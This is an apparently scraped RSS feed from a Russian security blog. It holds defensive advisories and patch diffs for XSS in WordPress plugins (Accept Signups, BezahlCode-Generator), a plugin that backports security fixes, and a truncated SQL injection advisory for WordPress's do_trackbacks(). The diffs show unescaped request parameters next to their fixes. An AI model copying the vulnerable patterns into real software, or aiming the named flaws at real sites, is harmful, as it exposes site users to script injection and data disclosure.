&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo get_option<span class="br0">&#40;</span>'accept-signups-email-already-exists'<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> else <span class="br0">&#123;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $email = stripslashes<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>function_exists<span class="br0">&#40;</span>'filter_var'<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span class="br0">&#40;</span>!filter_var<span class="br0">&#40;</span>$email, FILTER_VALIDATE_EMAIL<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<span class="br0">&#40;</span>'-1'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elseif <span class="br0">&#40;</span>!preg_match<span class="br0">&#40;</span>'/^<span class="br0">&#40;</span><span class="br0">&#91;</span>a-z0-<span class="nu0">9</span>_\-\.<span class="br0">&#93;</span><span class="br0">&#41;</span>+\@<span class="br0">&#40;</span><span class="br0">&#91;</span>a-z0-<span class="nu0">9</span>_\-\.<span class="br0">&#93;</span><span class="br0">&#41;</span>+\.<span class="br0">&#40;</span><span class="br0">&#91;</span>a-z<span class="br0">&#93;</span><span class="br0">&#123;</span><span class="nu0">2</span>,<span class="nu0">4</span><span class="br0">&#125;</span><span class="br0">&#41;</span>$/i', $email<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<span class="br0">&#40;</span>'-1'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></span><br />
<span class="re8">+</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; saveEmail<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'email'<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo get_option<span class="br0">&#40;</span>'accept-signups-email-saved'<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>Помимо OSVDB-70101, данный <a href="http://blog.sjinks.pro/tag/patch/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  патч">патч</a> исправляет еще пару мелких недочётов.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/892-accept-signups-xss/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/892-accept-signups-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Межсайтовый скриптинг в WordPress BezahlCode-Generator 1.0</title>
		<link>http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/</link>
		<comments>http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 03:13:15 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=890</guid>
		<description><![CDATA[Патч для BezahlCode-Generator, исправляющий уязвимость В плагине BezahlCode-Generator 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием обработки входных данных в параметрах gen_name, gen_account, gen_BNC, gen_amount, gen_reason в bezahlcode-generator/der_generator.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Патч для BezahlCode-Generator 1.0: [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Патч для BezahlCode-Generator, исправляющий <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a></em></h2>
<p>В плагине <a href="http://wordpress.org/extend/plugins/bezahlcode-generator/">BezahlCode-Generator</a> 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю <a href="http://blog.sjinks.pro/tag/xss/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  XSS">XSS</a>-атаку. Уязвимость связана с отсутствием обработки входных данных в параметрах <code>gen_name</code>, <code>gen_account</code>, <code>gen_BNC</code>, <code>gen_amount</code>, <code>gen_reason</code> в <code>bezahlcode-generator/der_generator.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code>.</p>
<p>Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.<span id="more-890"></span></p>
<p><a href='http://static.sjinks.info/wp-content/uploads/2011/02/der_generator.php_.diff'>Патч для BezahlCode-Generator 1.0</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p8908">
        <div class="code diff" id="p890code8">
--- der_generator.orig.php&nbsp; 2011-02-09 04:52:27.000000000 +0200<br />
<span class="re4">+++ der_generator.php &nbsp; <span class="nu0">2011</span>-02-09 05:00:<span class="nu0">20.457537559</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">16</span>,<span class="nu0">15</span> +<span class="nu0">16</span>,<span class="nu0">15</span> @@</span><br />
&nbsp;&lt;label for=&quot;singlepaymentspende&quot;&gt;&lt;input type=&quot;radio&quot; id=&quot;singlepaymentspende&quot; name=&quot;gen_type&quot; value=&quot;singlepaymentspende&quot; &lt;?php if<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_type'<span class="br0">&#93;</span>==&quot;singlepaymentspende&quot;<span class="br0">&#41;</span> echo 'checked=&quot;checked&quot;'?&gt;/&gt; Spendenzahlung&lt;/label&gt;&lt;br /&gt;<br />
&nbsp;&lt;label for=&quot;singledirectdebit&quot;&gt;&lt;input type=&quot;radio&quot; id=&quot;singledirectdebit&quot; name=&quot;gen_type&quot; value=&quot;singledirectdebit&quot; &lt;?php if<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_type'<span class="br0">&#93;</span>==&quot;singledirectdebit&quot;<span class="br0">&#41;</span> echo 'checked=&quot;checked&quot;'?&gt;/&gt; Lastschrift&lt;/label&gt;&lt;br /&gt;<br />
&nbsp;<br />
<span class="re7">-Name:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: DTAUS Text&quot; id=&quot;gen_name&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_name&quot; maxlength=&quot;<span class="nu0">27</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot;&gt;</span><br />
<span class="re8">+Name:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: DTAUS Text&quot; id=&quot;gen_name&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_name&quot; maxlength=&quot;<span class="nu0">27</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot;&gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-Kontonummer:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_account&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_account&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+Kontonummer:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_account&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_account&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-BLZ:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_BNC&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_BNC&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+BLZ:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_BNC&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_BNC&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-Betrag in Euro <span class="br0">&#40;</span>z.B. <span class="nu0">1234</span>,<span class="nu0">50</span><span class="br0">&#41;</span> &lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Dezimalzahl z.B. <span class="nu0">1234</span>,<span class="nu0">50</span>&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dezimalzahl'<span class="br0">&#41;</span>&quot; id=&quot;gen_amount&quot; name=&quot;gen_amount&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+Betrag in Euro <span class="br0">&#40;</span>z.B. <span class="nu0">1234</span>,<span class="nu0">50</span><span class="br0">&#41;</span> &lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Dezimalzahl z.B. <span class="nu0">1234</span>,<span class="nu0">50</span>&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dezimalzahl'<span class="br0">&#41;</span>&quot; id=&quot;gen_amount&quot; name=&quot;gen_amount&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-Verwendungszweck:&lt;br /&gt;&lt;input type=&quot;text&quot; id=&quot;gen_reason&quot; tooltipText=&quot;Format: DTAUS Text&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_reason&quot; maxlength=&quot;<span class="nu0">54</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+Verwendungszweck:&lt;br /&gt;&lt;input type=&quot;text&quot; id=&quot;gen_reason&quot; tooltipText=&quot;Format: DTAUS Text&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_reason&quot; maxlength=&quot;<span class="nu0">54</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br/&gt;<br />
&nbsp;&lt;input type=&quot;button&quot; value=&quot;Erstellen&quot; onclick='javascript:generateImage<span class="br0">&#40;</span><span class="br0">&#41;</span>;'&gt;<br />
&nbsp;&lt;/form&gt;
        </div>
    </div>
</div>

<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ICS Security Fixes: исправление уязвимостей в прошлых версиях WordPress</title>
		<link>http://blog.sjinks.pro/security/873-ics-security-fixes-old-wordpress/</link>
		<comments>http://blog.sjinks.pro/security/873-ics-security-fixes-old-wordpress/#comments</comments>
		<pubDate>Thu, 02 Dec 2010 14:10:06 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[ICS Security Fixes]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=873</guid>
		<description><![CDATA[Попытка сделать старые версии WordPress безопаснее. Многие блоггеры не торопятся с обновлением WordPress, особенно когда дело касается новых релизов WordPress: по традиции, каждый новый релиз потребляет больше памяти, чем предыдущий, создаёт бóльшую нагрузку на базу и содержит новые, мало кому нужные функции А еще говорят, что нельзя обновляться до версии x.y.0, нужно обязательно ждать x.y.1 Что [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/873-ics-security-fixes-old-wordpress/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Попытка сделать старые версии <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a> безопаснее.</em></h2>
<p>Многие блоггеры не торопятся с обновлением WordPress, особенно когда дело касается новых релизов WordPress: по традиции, каждый новый релиз потребляет больше памяти, чем предыдущий, создаёт бóльшую нагрузку на базу и содержит новые, мало кому нужные функции <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  А еще говорят, что нельзя обновляться до версии x.y.0, нужно обязательно ждать x.y.1 <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Что же, доля истины во всём этом есть, но есть и одно большое НО: все эти обновления, включая новые релизы, обычно содержат важные исправления безопасности, причём иногда разработчики об этом могут не догадываться.</p>
<p>К сожалению, разработчики не делают бэкпорты исправлений в старые ветки, и те, кто по тем или иным соображениям остаётся на старом WordPress, остаются уязвимыми.<span id="more-873"></span></p>
<p>Вчера судьба меня свела с человеком с ником <a href="http://snipper.ru/">M4g</a>, обладающим отменными знаниями уязвимостей WordPress самых различных версий. Он любезно предоставил ссылки на свои статьи, касающиеся уязвимостей WordPress. Своё профессиональное знакомство с WordPress я начинал с версии 2.5, поэтому в статьях обнаружил достаточно много откровений для себя. Но дело не в этом. От прочитанного в голову пришла мысль написать <a href="http://blog.sjinks.pro/tag/plugin/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  плагин">плагин</a>, максимально совместимый с предыдущими версиями WordPress, который бы пытался исправить известные уязвимости, не заставляя пользователя при этом обновлять WordPress.</p>
<p>Естественно, что таким образом можно исправить далеко не всё (например, <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a> в Snoopy на FreeBSD так не исправить), но отфильтровать параметры запросов или запросы к базе данных вполне реально (хотя тоже не всегда).</p>
<p>Так родился плагин <a href="http://blog.sjinks.pro/tag/ics-security-fixes/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  ICS Security Fixes">ICS Security Fixes</a>.</p>
<p><strong>Версия 0.1 содержит следующие исправления:</strong></p>
<ul>
<li>отключение whitelisting&#8217;а для трэкбэков/пингбэков (то, что было сделано в 3.0.2 и тянется с 1.x);</li>
<li>попытка борьбы с SQL truncation attack при регистрации пользователя;</li>
<li>исправления, призванные не допустить SQL injection attack при обработке трэкбэков;</li>
<li>исправление CVE-2008-4769;</li>
<li>Old slug redirect bug fix;</li>
<li>Попытка исправления ошибки cURL, связанной с перенаправлением на URI с протоколами <code>file://</code> и <code>scp://</code> (трудно сказать про работоспособность, ибо такой древний cURL найти трудно);</li>
<li>Исправление SQL injection в <code>wp_insert_attachment()</code>;</li>
<li>Тупой способ для борьбы с подменой фидов;</li>
<li>Защита от атаки на генератор псевдослучайных чисел (надеюсь, что получилось — сгенерировать 80-гигабайтные радужные таблицы нет возможности);</li>
<li>Попытка защиты от 2.7.x/2.8.x admin remote code execution exploit;</li>
<li>Исправление Wordpress 2.5 Cookie Integrity Protection Vulnerability;</li>
<li>Исправление ошибки со сбросом пароля в 2.5.1.</li>
</ul>
<p><strong>Версия 0.2:</strong></p>
<ul>
<li>Исправление ошибок, связанных с активацией плагина;</li>
<li>Установка версии по умолчанию для скриптов и таблиц стилей в 0.0.</li>
</ul>
<p><strong>Версия 0.3:</strong></p>
<ul>
<li>Исправление ошибок в предыдущих версиях (спасибо <strong><a href="http://profiles.wordpress.org/sergeybiryukov/">Сергею Бирюкову</a></strong> за <a href="http://blog.sjinks.pro/tag/patch/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  патч">патч</a>);</li>
<li>Сокрытие версий используемых таблиц стилей и скриптов (удаление параметра <code>ver</code> из строки запроса; кстати, Google рекомендует <a href="http://code.google.com/intl/ru/speed/page-speed/docs/caching.html#LeverageProxyCaching">не использовать</a> строку запроса в URL статических ресурсов);</li>
<li>Частично закрыта уязвимость <a href="http://secunia.com/advisories/23621/">SA23621</a> — пользователь получает одно и то же сообщение об ошибке и при неверном имени пользователя, и при неверном пароле. Тем не менее, проверка существования пользователя возможна путём использования функции напоминания пароля;</li>
<li>По многочисленным просьбам добавлено сокрытие версии плагина All in One SEO Pack.</li>
</ul>
<p><strong>Версия 0.4:</strong></p>
<ul>
<li>Закрытие уязвимостей, исправленных в WordPress 3.0.5 (r17393, r17387, r17400, r17406).</li>
</ul>
<p>Хочу выразить большую благодарность <strong><a href="http://profiles.wordpress.org/sergeybiryukov/">Сергею Бирюкову</a></strong> за тестирование и патч, исправляющий ошибки. Спасибо!</p>
<p><strong>Дальнейшее направление работы:</strong></p>
<ul>
<li>Бэкпортирование патчей уязвимостей для <a href="http://secunia.com/advisories/product/33191/?task=advisories">серии 3.x</a>;</li>
<li>Бэкпортирование патчей и закрытие незакрытых уязвимостей для <a href="http://secunia.com/advisories/product/6745/?task=advisories">серии 2.x</a>.</li>
</ul>
<p>У кого есть ссылки на рабочие эксплойты для WordPress любых версий и кто может ими поделиться, а также те, кто готов помочь с тестированием — you are welcome!</p>
<p><strong><a href="http://static.sjinks.info/wp-content/uploads/ics-security-fixes-0.4.zip">Скачать последнюю версию ICS Security Fixes</a></strong></p>
<p><strong style="color: red">Внимание:</strong> перед обновлением плагин <strong>должен</strong> быть деактивирован, после обновления — активирован. Это связано с некоторыми неприятными особенностями WordPress 3.1, а также тем, что для некоторых версий WordPress подменяются функции проверки cookies.</p>
<p><strong>UPDATE  Feb 15, 2010:</strong><br />
Страница плагина теперь живёт здесь: http://blog.sjinks.pro/wordpress-plugins/ics-security-fixes/<br />
Страница плагина на wordpress.org: http://wordpress.org/extend/plugins/ics-security-fixes/</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/873-ics-security-fixes-old-wordpress/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/873-ics-security-fixes-old-wordpress/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>WordPress: Information Disclosure via SQL Injection Attack</title>
		<link>http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/</link>
		<comments>http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 17:13:37 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[SQL-инъекция]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=858</guid>
		<description><![CDATA[Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query. Access Vector: Network Attack Complexity: Medium Authentication: Single Instance Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this article. The do_trackbacks() [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<p><strong>Description:</strong> SQL injection vulnerability in do_trackbacks() function of <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a> allows remote attackers to execute arbitrary SELECT SQL query.</p>
<p><strong>Access Vector:</strong> Network<br />
<strong>Attack Complexity:</strong> Medium<br />
<strong>Authentication:</strong> Single Instance<br />
<strong>Confidentiality Impact:</strong> Partial<br />
<strong>Integrity Impact:</strong> None<br />
<strong>Availability Impact:</strong> None</p>
<p><strong>UPDATE Dec 1, 2010:</strong> This vulnerability was first discovered by <a href="http://snipper.ru/">M4g</a> and is described in <a href="http://www.xakep.ru/magazine/xa/124/052/1.asp">this article</a>.<br />
<span id="more-858"></span></p>
<p>The <code>do_trackbacks()</code> function in <code>wp-includes/comment.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code> does not properly escape the input that comes from the user, allowing a remote user with <code>publish_posts</code> and <code>edit_published_posts</code> capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any information stored in the WordPress database.</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p85814">
        <div class="code php" id="p858code14">
<ol class="php" style="font-family:monospace;" start="1629"><li class="li1"><div class="de1"><span class="kw2">function</span> do_trackbacks<span class="br0">&#40;</span><span class="re0">$post_id</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$wpdb</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$post</span> <span class="sy0">=</span> <span class="re0">$wpdb</span><span class="sy0">-&gt;</span><span class="me1">get_row</span><span class="br0">&#40;</span> <span class="re0">$wpdb</span><span class="sy0">-&gt;</span><span class="me1">prepare</span><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM <span class="es4">$wpdb-&gt;posts</span> WHERE ID = <span class="es6">%d</span>&quot;</span><span class="sy0">,</span> <span class="re0">$post_id</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$to_ping</span> <span class="sy0">=</span> get_to_ping<span class="br0">&#40;</span><span class="re0">$post_id</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$pinged</span> &nbsp;<span class="sy0">=</span> get_pung<span class="br0">&#40;</span><span class="re0">$post_id</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$to_ping</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wpdb</span><span class="sy0">-&gt;</span><span class="me1">update</span><span class="br0">&#40;</span><span class="re0">$wpdb</span><span class="sy0">-&gt;</span><span class="me1">posts</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'to_ping'</span> <span class="sy0">=&gt;</span> <span class="st_h">''</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'ID'</span> <span class="sy0">=&gt;</span> <span class="re0">$post_id</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$post</span><span class="sy0">-&gt;</span><span class="me1">post_excerpt</span><span class="br0">&#41;</span> <span class="br0">&#41;</span></div></li>
